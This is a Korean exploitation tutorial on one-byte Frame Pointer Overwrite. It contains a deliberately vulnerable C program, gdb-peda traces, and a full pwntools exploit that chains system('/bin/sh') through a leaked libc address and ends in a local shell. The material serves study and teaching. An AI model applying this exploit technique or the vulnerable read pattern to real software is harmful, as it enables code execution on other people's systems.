Excuse the ads! We need some help to keep our site up.

List

Frame Pointer Overwrite(One-byte Overflow)

  • Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것입니다.

LEAVE, LEAVE instruction

  • 해당 취약성은 다음과 같은 구조에서 발생합니다.
    • vuln() 함수에서 Overflow로 인해 main() 함수의 Frame Pointer를 1 byte 변경 할 수 있습니다.

    • vuln() 함수가 종료 될 때 변경된 Frame Pointer는 leave 명령어에 의해 RBP 레지스터에 저장됩니다.

    • main() 함수가 종료 될 때 RBP 레지스터에 저장된 Frame Pointer는 leave 명령어에 의해 RSP 레지스터에 저장됩니다.

    • 즉, 이로 인해 ret 명령어에 의해 이동할 영역을 변경 할 수 있습니다.
      • 공격하는 형태는 Frame faking과 동일 합니다.
      • 단, Frame faking은 Return Address 영역까지 Overflow 했으나, FPO는 Frame Pointer의 1 byte를 Overwrite 합니다.


LEAVE, LEAVE instruction
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo
Reading symbols from ./fpo...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400706 <+0>:	push   rbp
   0x0000000000400707 <+1>:	mov    rbp,rsp
...
   0x0000000000400760 <+90>:	call   0x4005c0 <read@plt>
   0x0000000000400765 <+95>:	nop
   0x0000000000400766 <+96>:	leave  
   0x0000000000400767 <+97>:	ret    
End of assembler dump.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400768 <+0>:	push   rbp
   0x0000000000400769 <+1>:	mov    rbp,rsp
...
   0x0000000000400796 <+46>:	call   0x400706 <vuln>
   0x000000000040079b <+51>:	nop
   0x000000000040079c <+52>:	leave  
   0x000000000040079d <+53>:	ret    
End of assembler dump.
gdb-peda$ 


Proof of concept

Example code

  • 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
    • 해당 프로그램은 Stack address, Libc address를 출력합니다.
      • Stack address: buf
      • Libc address: printf_addr
    • read()함수를 이용해 사용자로 부터 49개의 문자를 입력 받습니다.
      • 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
fpo.c
//gcc -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void vuln(){
    char buf[32];
    printf("buf[32] address : %p\n",buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 49);
}

void main(int argc, char *argv[]){
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
    vuln();
}

Overwriting the Frame Pointer

  • 다음과 같이 Break pointer를 설정합니다.

    • 0x40070a: vuln() 함수에서 사용 할 Fream Pointer를 RBP 레지스터에 저장한 후 

    • 0x400766: vuln() 함수에서 leave 명령어 호출

    • 0x40079c: main() 함수에서 leave 명령어 호출

Breakpoints
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo
Reading symbols from ./fpo...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400706 <+0>:	push   rbp
   0x0000000000400707 <+1>:	mov    rbp,rsp
   0x000000000040070a <+4>:	sub    rsp,0x30
   0x000000000040070e <+8>:	lea    rax,[rbp-0x30]
   0x0000000000400712 <+12>:	mov    rsi,rax
   0x0000000000400715 <+15>:	mov    edi,0x400824
   0x000000000040071a <+20>:	mov    eax,0x0
   0x000000000040071f <+25>:	call   0x4005b0 <printf@plt>
   0x0000000000400724 <+30>:	mov    esi,0x40083a
   0x0000000000400729 <+35>:	mov    rdi,0xffffffffffffffff
   0x0000000000400730 <+42>:	call   0x4005f0 <dlsym@plt>
   0x0000000000400735 <+47>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400739 <+51>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040073d <+55>:	mov    rsi,rax
   0x0000000000400740 <+58>:	mov    edi,0x400841
   0x0000000000400745 <+63>:	mov    eax,0x0
   0x000000000040074a <+68>:	call   0x4005b0 <printf@plt>
   0x000000000040074f <+73>:	lea    rax,[rbp-0x30]
   0x0000000000400753 <+77>:	mov    edx,0x31
   0x0000000000400758 <+82>:	mov    rsi,rax
   0x000000000040075b <+85>:	mov    edi,0x0
   0x0000000000400760 <+90>:	call   0x4005c0 <read@plt>
   0x0000000000400765 <+95>:	nop
   0x0000000000400766 <+96>:	leave  
   0x0000000000400767 <+97>:	ret    
End of assembler dump.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400768 <+0>:	push   rbp
   0x0000000000400769 <+1>:	mov    rbp,rsp
   0x000000000040076c <+4>:	sub    rsp,0x10
   0x0000000000400770 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400773 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400777 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x000000000040077b <+19>:	jg     0x400791 <main+41>
   0x000000000040077d <+21>:	mov    edi,0x400858
   0x0000000000400782 <+26>:	call   0x4005a0 <puts@plt>
   0x0000000000400787 <+31>:	mov    edi,0x0
   0x000000000040078c <+36>:	call   0x4005e0 <exit@plt>
   0x0000000000400791 <+41>:	mov    eax,0x0
   0x0000000000400796 <+46>:	call   0x400706 <vuln>
   0x000000000040079b <+51>:	nop
   0x000000000040079c <+52>:	leave  
   0x000000000040079d <+53>:	ret    
End of assembler dump.
gdb-peda$ p/d 0x31
$1 = 49
gdb-peda$ b *0x000000000040070a
Breakpoint 1 at 0x40070a
gdb-peda$ b *0x0000000000400766
Breakpoint 2 at 0x400766
gdb-peda$ b *0x000000000040079c
Breakpoint 3 at 0x40079c
gdb-peda$ 
  • 다음과 같이 Frame Pointer의 정보를 확인 할 수 있습니다.
    • vuln() 함수에서 사용 할 Frame Pointer 주소는 0x7fffffffe430 입니다.
    • 해당 영역에는 다음과 같은 정보가 저장되어 있습니다.
      • 0x00007fffffffe450 : main() 함수의 Frame Pointer
      • 0x40079b: vuln() 함수 종료 후 이동할 Return Address
Check Frame Pointer of vuln() function
gdb-peda$ r AAAAAAAA
Starting program: /home/lazenca0x0/Exploit/FPO/fpo AAAAAAAA


Breakpoint 1, 0x000000000040070a in vuln ()
gdb-peda$ i r rbp
rbp            0x7fffffffe430	0x7fffffffe430
gdb-peda$ x/2gx 0x7fffffffe430
0x7fffffffe430:	0x00007fffffffe450	0x000000000040079b
gdb-peda$ 
  • 다음과 같이 Frame Pointer 영역의 Overwrite를 확인 할 수 있습니다.
    • 문자 49개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
      • 0x00007fffffffe450 → 0x00007fffffffe447
    • 해당 값은 leave 명령어에 의해 RBP 레지스터에 저장됩니다.
Overwrite to Frame Pointer of main() function
gdb-peda$ c
Continuing.

buf[32] address : 0x7fffffffe400
Printf() address : 0x7ffff785e800
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG

Breakpoint 2, 0x0000000000400766 in vuln ()
gdb-peda$ i r rbp
rbp            0x7fffffffe430	0x7fffffffe430
gdb-peda$ x/2gx 0x7fffffffe430
0x7fffffffe430:	0x00007fffffffe447	0x000000000040079b
gdb-peda$ ni

0x0000000000400767 in vuln ()
gdb-peda$ i r rbp
rbp            0x7fffffffe447	0x7fffffffe447
gdb-peda$ 
  • 다음과 같이 코드 흐름의 변경을 확인 할 수 있습니다.
    • leave 명령어로 인해 RBP 레지스터의 값은 RSP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있습니다.
      • ret 명령어 실행 전 RSP 레지스터의 값이 0x7fffffffe44f 인 이유는 leave 명령어 내에서 pop rbp 명령어를 처리했기 때문입니다.
        • leave : pop ebp = 0x7fffffffe447 → 0x7fffffffe44f
    • 즉, 1 byte를 변경하여 RTL 코드 또는 Shellcode가 저장된 영역을 가리킬수 있다면 코드의 흐름을 변경 할 수 있습니다.
Change the flow of code
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040079c in main ()
gdb-peda$ i r rbp
rbp            0x7fffffffe447	0x7fffffffe447
gdb-peda$ x/2gx 0x7fffffffe447
0x7fffffffe447:	0x0000020000000000	0x000000004007a000
gdb-peda$ ni

0x000000000040079d in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe44f	0x7fffffffe44f
gdb-peda$ x/gx 0x7fffffffe44f
0x7fffffffe44f:	0x000000004007a000
gdb-peda$ x/gx 0x7fffffffe400
0x7fffffffe400:	0x4141414141414141
gdb-peda$ 

Exploit

Exploit.py
from pwn import *

p = process(['./fpo','AAAA'])

p.recvuntil('buf[32] address : ')
tmp = p.recvuntil('\n')
onebyte = int(tmp[12:14],16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)

libcBase = libc - 0x55800
sysAddr = libcBase + 0x45390
exit = libcBase + 0x3a030
binsh = libcBase + 0x18cd57
poprdi = 0x00400803 

print "Stack Addr : " + tmp
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
 
exploit = '\x90' * 8 
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)
exploit += '\x90' * (48 - len(exploit))
exploit += p64(onebyte)
  
p.send(exploit)
p.interactive()
python Exploit.py (successful)
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py 
[+] Starting local process './fpo': pid 7690
Stack Addr : 0x7ffee7488fa0

onebyte : 0xa0
libc base : 0x7f9cf3294000
system() : 0x7f9cf32d9390
exit() : 0x7f9cf32ce030
binsh : 0x7f9cf3420d57
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  
  • 다음과 같은 상황이 발생 할 수 있습니다.

    • RTL 코드가 저장된 영역과 Frame Pointer의 뒤에서 3번째 자리의 수가 다르면 공격에 성공 할 수 없습니다.

    • 즉, 다음과 같은 환경(주소)에서는 FPO 공격이 성공 할 수 없습니다.

      • buf[32] Address : 0x7ffff7e7c3b0

      • Frame Pointer address of main() function : 0x7ffff7e7c3b0 + 0x50 = 0x7ffff7e7c400

python Exploit.py (failure)
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py 
[+] Starting local process './fpo': pid 7554
Stack Addr : 0x7ffff7e7c3b0

onebyte : 0xb0
libc base : 0x7fc5c5157000
system() : 0x7fc5c519c390
exit() : 0x7fc5c5191030
binsh : 0x7fc5c52e3d57
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process './fpo' stopped with exit code -11 (SIGSEGV) (pid 7554)
lazenca0x0@ubuntu:~/Exploit/FPO$ 

Related site

Comments